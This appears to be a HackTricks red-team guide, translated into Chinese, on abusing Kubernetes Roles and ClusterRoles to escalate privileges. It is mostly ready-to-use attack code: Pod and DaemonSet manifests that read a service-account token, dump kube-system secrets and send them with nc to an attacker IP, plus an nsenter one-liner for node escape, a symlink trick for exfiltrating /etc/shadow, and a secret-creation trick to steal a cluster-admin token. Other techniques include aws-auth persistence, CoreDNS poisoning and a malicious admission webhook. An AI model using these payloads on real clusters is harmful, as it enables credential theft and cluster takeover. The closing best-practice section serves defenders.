Abusing Roles/ClusterRoles in Kubernetes

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

在这里,您可以找到一些潜在危险的 Roles 和 ClusterRoles 配置。
请记住,您可以使用 kubectl api-resources 获取所有支持的资源。

特权提升

特权提升是指在集群中以不同权限(在 Kubernetes 集群内或外部云中)获取对不同主体的访问,与您当前拥有的权限不同。在 Kubernetes 中,基本上有4 种主要技术来提升特权

  • 能够冒充在 Kubernetes 集群内或外部云中具有更高权限的其他用户/组/服务账户
  • 能够创建/补丁/执行 pods,在其中您可以找到或附加具有更高权限的服务账户
  • 能够读取秘密,因为服务账户的令牌存储为秘密
  • 能够从容器逃逸到节点,在此您可以窃取在节点上运行的容器的所有秘密、节点的凭据以及节点在其运行的云中的权限(如果有的话)
  • 第五种值得一提的技术是能够在 pod 中运行端口转发,因为您可能能够访问该 pod 中的有趣资源。

访问任何资源或动词(通配符)

通配符(*)对任何资源和任何动词授予权限。它由管理员使用。在 ClusterRole 内,这意味着攻击者可以滥用集群中的任何命名空间。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

使用特定动词访问任何资源

在RBAC中,某些权限带来了重大风险:

  1. create: 授予创建任何集群资源的能力,存在特权升级的风险。
  2. list: 允许列出所有资源,可能泄露敏感数据。
  3. get: 允许访问服务账户的秘密,构成安全威胁。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

一个具有创建 pod 权限的攻击者,可以将一个特权服务账户附加到 pod 中,并窃取该服务账户的令牌以冒充该服务账户。有效地提升了其权限。

一个将窃取 bootstrap-signer 服务账户令牌并将其发送给攻击者的 pod 示例:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod 创建与逃逸

以下指示容器可以拥有的所有权限:

  • 特权访问(禁用保护和设置能力)
  • 禁用命名空间 hostIPC 和 hostPid,这可以帮助提升权限
  • 禁用 hostNetwork 命名空间,允许访问以窃取节点的云权限和更好地访问网络
  • 在容器内挂载主机
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

创建 Pod:

kubectl --token $token create -f mount_root.yaml

来自this tweet的单行代码,并附加了一些内容:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

现在您可以逃逸到节点,检查后渗透技术:

隐蔽性

您可能希望更加隐蔽,在接下来的页面中,您可以看到如果您创建一个仅启用前面模板中提到的一些权限的 pod,您将能够访问的内容:

  • 特权 + hostPID
  • 仅特权
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

您可以在 https://github.com/BishopFox/badPods 找到如何创建/滥用之前特权 pod 配置的示例

Pod 创建 - 移动到云

如果您可以创建一个pod(可选地创建一个服务账户),您可能能够通过将云角色分配给 pod 或服务账户获得云环境中的权限,然后访问它。
此外,如果您可以创建一个具有主机网络命名空间的 pod,您可以窃取节点实例的 IAM 角色。

有关更多信息,请查看:

Pod Escape Privileges

创建/补丁部署、守护进程集、有状态集、复制控制器、副本集、作业和定时作业

可以滥用这些权限来创建一个新 pod并获取权限,如前面的示例所示。

以下 yaml 创建一个守护进程集并提取 pod 内部 SA 的令牌

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec 是 Kubernetes 中的一个资源,用于 在 pod 内部的 shell 中运行命令。这允许 在容器内部运行命令或获取 shell

因此,可以 进入 pod 并窃取 SA 的令牌,或者进入特权 pod,逃逸到节点,并窃取节点中所有 pod 的令牌并 (滥用) 节点:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

默认情况下,命令在 pod 的第一个容器中执行。使用 kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' 获取 容器中的所有 pod,然后使用 kubectl exec -it <pod_name> -c <container_name> -- sh 指定要执行的容器

如果是无发行版容器,您可以尝试使用 shell 内置命令 获取容器的信息或上传您自己的工具,如 busybox,使用:kubectl cp </path/local/file> <podname>:</path/in/container>

port-forward

此权限允许 将一个本地端口转发到指定 pod 中的一个端口。这旨在能够轻松调试在 pod 内部运行的应用程序,但攻击者可能会滥用它以获取对 pod 内部有趣(如数据库)或易受攻击的应用程序(网页?)的访问:

kubectl port-forward pod/mypod 5000:5000

主机可写的 /var/log/ 逃逸

正如本研究中所指出的,如果您可以访问或创建一个挂载了主机 /var/log/ 目录的 pod,您可以逃逸出容器
这基本上是因为当Kube-API 尝试获取容器的日志(使用 kubectl logs <pod>)时,它会通过 Kubelet 服务的 /logs/ 端点请求 pod 的 0.log 文件。
Kubelet 服务暴露了 /logs/ 端点,这基本上是暴露了容器的 /var/log 文件系统

因此,具有写入容器 /var/log/ 文件夹权限的攻击者可以通过两种方式利用这种行为:

  • 修改其容器的 0.log 文件(通常位于 /var/logs/pods/namespace_pod_uid/container/0.log),使其成为指向 /etc/shadow符号链接。然后,您将能够通过以下方式提取主机的 shadow 文件:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • 如果攻击者控制了任何具有 读取 nodes/log 权限 的主体,他可以在 /host-mounted/var/log/sym 中创建一个指向 /symlink,当 访问 https://<gateway>:10250/logs/sym/ 时,他将列出主机的根 文件系统(更改 symlink 可以提供对文件的访问)。
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

实验室和自动化利用可以在 https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

绕过只读保护

如果你足够幸运,并且高度特权的能力 CAP_SYS_ADMIN 可用,你可以简单地将文件夹重新挂载为 rw:

mount -o rw,remount /hostlogs/

绕过 hostPath readOnly 保护

正如在 这项研究 中所述,可以绕过保护:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载主机文件夹到容器中并提供可写访问,而不是使用 hostPath 挂载,从而防止像之前那样的逃逸:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

冒充特权账户

通过 用户冒充 权限,攻击者可以冒充特权账户。

只需在 kubectl 命令中使用参数 --as=<username> 来冒充用户,或使用 --as-group=<group> 来冒充组:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

或使用 REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

列出秘密

列出秘密的权限可能允许攻击者实际读取秘密 通过访问 REST API 端点:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

创建和读取秘密

有一种特殊类型的 Kubernetes 秘密,类型为 kubernetes.io/service-account-token,用于存储 serviceaccount 令牌。如果您有权限创建和读取秘密,并且您知道 serviceaccount 的名称,您可以按如下方式创建一个秘密,然后从中窃取受害者 serviceaccount 的令牌:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

示例利用:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

注意,如果您被允许在某个命名空间中创建和读取秘密,则受害者的服务账户也必须在同一命名空间中。

读取秘密 – 暴力破解令牌 ID

虽然持有具有读取权限的令牌的攻击者需要确切的秘密名称才能使用它,但与更广泛的 列出秘密 权限不同,仍然存在漏洞。系统中的默认服务账户可以被枚举,每个服务账户都与一个秘密相关联。这些秘密的名称结构为:一个静态前缀后跟一个随机的五字符字母数字令牌(排除某些字符),根据 source code

该令牌是从一个有限的27字符集(bcdfghjklmnpqrstvwxz2456789)生成的,而不是完整的字母数字范围。这一限制将总可能组合减少到14,348,907(27^5)。因此,攻击者可以在数小时内可行地执行暴力攻击以推断令牌,这可能导致通过访问敏感服务账户进行权限提升。

EncrpytionConfiguration 以明文形式存在

可以在此类对象中找到用于加密静态数据的明文密钥,例如:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

证书签名请求

如果您在资源 certificatesigningrequests 中具有动词 create(或至少在 certificatesigningrequests/nodeClient 中)。您可以 创建 一个 新节点 的新 CeSR。

根据 文档,自动批准此请求是可能的,因此在这种情况下您 不需要额外的权限。如果不是,您需要能够批准请求,这意味着在 certificatesigningrequests/approval 中进行更新,并在 signers 中使用资源名称 <signerNameDomain>/<signerNamePath><signerNameDomain>/* 进行批准。

一个 具有所有所需权限的角色示例 是:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

所以,随着新的节点CSR获得批准,您可以滥用节点的特殊权限来窃取秘密提升权限

这篇文章这篇文章中,GKE K8s TLS引导配置被设置为自动签名,并被滥用以生成新K8s节点的凭据,然后利用这些凭据提升权限,窃取秘密。
如果您拥有提到的权限,您也可以做同样的事情。请注意,第一个示例绕过了防止新节点访问容器内秘密的错误,因为节点只能访问挂载在其上的容器的秘密。

绕过此限制的方法是为挂载有有趣秘密的容器的节点名称创建节点凭据(但请查看如何在第一篇文章中做到这一点):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

可以在 EKS(需要在 AWS 上)集群的 kube-system 命名空间中修改 configmaps 的主体可以通过覆盖 aws-auth configmap 获得集群管理员权限。
所需的动词是 updatepatch,或者如果 configmap 尚未创建,则是 create

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

您可以使用 aws-auth 进行 持久化,以便为 其他账户 的用户提供访问权限。

然而,aws --profile other_account eks update-kubeconfig --name <cluster-name> 在不同账户中无法工作。但实际上,如果您将集群的 ARN 放入,而不仅仅是名称,aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing 是可以工作的。
要使 kubectl 工作,只需确保 配置 受害者的 kubeconfig,并在 aws exec 参数中添加 --profile other_account_role,这样 kubectl 就会使用其他账户的配置文件来获取令牌并联系 AWS。

CoreDNS 配置映射

如果您有权限修改 kube-system 命名空间中的 coredns 配置映射,您可以修改地址域以便能够执行 MitM 攻击以 窃取敏感信息或注入恶意内容

所需的动词是 updatepatch,针对 coredns 配置映射(或所有配置映射)。

一个常规的 coredns 文件 包含如下内容:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

攻击者可以通过运行 kubectl get configmap coredns -n kube-system -o yaml 下载它,修改后添加类似 rewrite name victim.com attacker.com 的内容,这样每当访问 victim.com 时,实际上访问的是 attacker.com。然后通过运行 kubectl apply -f poison_dns.yaml 应用它。

另一种选择是通过运行 kubectl edit configmap coredns -n kube-system 编辑文件并进行更改。

在 GKE 中提升权限

2 种方法将 K8s 权限分配给 GCP 主体。在任何情况下,主体还需要权限 container.clusters.get 以便能够获取访问集群的凭据,或者您需要 生成自己的 kubectl 配置文件(请遵循下一个链接)。

Warning

在与 K8s API 端点交谈时,GCP 身份验证令牌将被发送。然后,GCP 通过 K8s API 端点首先 检查主体(通过电子邮件) 是否在集群内有任何访问权限,然后检查是否通过 GCP IAM任何访问权限
如果 任何 这些条件 为真,将会 响应。如果 ,将会给出一个 错误,建议通过 GCP IAM 授予 权限

然后,第一种方法是使用 GCP IAM,K8s 权限有其 等效的 GCP IAM 权限,如果主体拥有它,就可以使用它。

GCP - Container Privesc

第二种方法是 在集群内分配 K8s 权限,通过其 电子邮件 识别用户(包括 GCP 服务账户)。

创建 serviceaccounts 令牌

可以 创建 TokenRequests (serviceaccounts/token) 的主体在与 K8s API 端点交谈时 SAs(信息来自 这里)。

ephemeralcontainers

可以 updatepatch pods/ephemeralcontainers 的主体可以获得 其他 pods 的代码执行权限,并可能通过添加具有特权的安全上下文的临时容器 突破 到其节点。

ValidatingWebhookConfigurations 或 MutatingWebhookConfigurations

具有 createupdatepatch 任何动词的主体在 validatingwebhookconfigurationsmutatingwebhookconfigurations 上可能能够 创建这样的 webhookconfigurations 以便能够 提升权限

有关 mutatingwebhookconfigurations 的示例,请查看此帖的此部分

提升

正如您在下一部分中所读到的:内置特权提升预防,主体不能更新或创建角色或集群角色,而不拥有这些新权限。除非他在 rolesclusterroles 上具有 动词 escalate* 及相应的绑定选项。
然后他可以更新/创建具有比他拥有的更好权限的新角色、集群角色。

节点代理

具有访问 nodes/proxy 子资源的主体可以通过 Kubelet API 在 pods 上执行代码(根据 )。有关 Kubelet 身份验证的更多信息,请访问此页面:

Kubelet Authentication & Authorization

您可以在这里查看如何通过 与 Kubelet API 进行授权的 RCE

删除 pods + 无法调度的节点

可以 删除 pods(在 pods 资源上使用 delete 动词),或 驱逐 pods(在 pods/eviction 资源上使用 create 动词),或 更改 pod 状态(访问 pods/status)并可以 使其他节点无法调度(访问 nodes/status)或 删除节点(在 nodes 资源上使用 delete 动词)并控制一个 pod 的主体,可以 从其他节点窃取 pods,使它们在 被攻陷的 节点执行,攻击者可以 窃取这些 pods 的令牌

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

服务状态 (CVE-2020-8554)

可以修改 services/status 的主体可能会将 status.loadBalancer.ingress.ip 字段设置为利用 未修复的 CVE-2020-8554 并发起 MiTM 攻击。大多数针对 CVE-2020-8554 的缓解措施仅防止 ExternalIP 服务(根据 此处)。

节点和 Pods 状态

具有 updatepatch 权限的主体可以修改标签,以影响强制执行的调度约束。

内置特权升级防护

Kubernetes 具有 内置机制 来防止特权升级。

该系统确保 用户无法通过修改角色或角色绑定来提升其权限。此规则的执行发生在 API 级别,即使 RBAC 授权者处于非活动状态,也提供了保护。

该规则规定 用户只能在拥有角色所包含的所有权限的情况下创建或更新角色。此外,用户现有权限的范围必须与他们尝试创建或修改的角色的范围一致:对于 ClusterRoles 是集群范围内的,或者对于 Roles 限于同一命名空间(或集群范围内)。

Warning

之前规则有一个例外。如果主体对 rolesclusterroles 拥有 动词 escalate,他可以在没有自己拥有权限的情况下提升角色和集群角色的权限。

获取 & 修改 RoleBindings/ClusterRoleBindings

Caution

显然这个技术以前有效,但根据我的测试,由于前面部分解释的原因,它现在不再有效。如果你没有权限,你无法创建/修改角色绑定以赋予自己或其他服务账户一些权限。

创建 Rolebindings 的特权允许用户 将角色绑定到服务账户。这个特权可能导致特权升级,因为它 允许用户将管理员权限绑定到被攻陷的服务账户

其他攻击

Sidecar 代理应用

默认情况下,Pods 之间的通信没有任何加密。相互认证,双向,Pod 到 Pod。

创建一个 sidecar 代理应用

Sidecar 容器仅仅是向 Pod 中添加 第二个(或更多)容器

例如,以下是一个包含 2 个容器的 Pod 配置的一部分:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

例如,要通过新容器对现有的 pod 进行后门操作,您只需在规范中添加一个新容器。请注意,您可以给予第二个容器更多权限,而第一个容器则没有。

更多信息请访问: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

恶意 Admission Controller

Admission controller 在对象持久化之前拦截对 Kubernetes API 服务器的请求,但在请求经过身份验证 和授权之后

如果攻击者以某种方式成功注入 Mutation Admission Controller,他将能够修改已经通过身份验证的请求。这可能使他能够进行权限提升,并更常见地在集群中持久化。

来自 https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

检查状态以查看是否准备好:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

然后部署一个新的 pod:

kubectl run nginx --image nginx
kubectl get po -w

当您看到 ErrImagePull 错误时,请使用以下任一查询检查镜像名称:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

正如您在上面的图像中看到的,我们尝试运行镜像 nginx,但最终执行的镜像是 rewanthtammana/malicious-image。发生了什么事!!?

技术细节

./deploy.sh 脚本建立了一个变更的 webhook 认证控制器,该控制器根据其配置行修改对 Kubernetes API 的请求,从而影响观察到的结果:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

上述代码片段将每个 pod 中的第一个容器镜像替换为 rewanthtammana/malicious-image

OPA Gatekeeper 绕过

Kubernetes OPA Gatekeeper bypass

最佳实践

禁用服务账户令牌的自动挂载

  • Pods 和服务账户:默认情况下,pods 会挂载服务账户令牌。为了增强安全性,Kubernetes 允许禁用此自动挂载功能。
  • 如何应用:在服务账户或 pods 的配置中设置 automountServiceAccountToken: false,从 Kubernetes 版本 1.6 开始。

在 RoleBindings/ClusterRoleBindings 中进行限制性用户分配

  • 选择性包含:确保仅将必要的用户包含在 RoleBindings 或 ClusterRoleBindings 中。定期审计并移除不相关的用户,以保持严格的安全性。

使用特定于命名空间的角色而非集群范围的角色

  • 角色与 ClusterRoles:优先使用 Roles 和 RoleBindings 进行特定于命名空间的权限,而不是适用于集群范围的 ClusterRoles 和 ClusterRoleBindings。这种方法提供了更细粒度的控制,并限制了权限的范围。

使用自动化工具

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark

参考文献

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks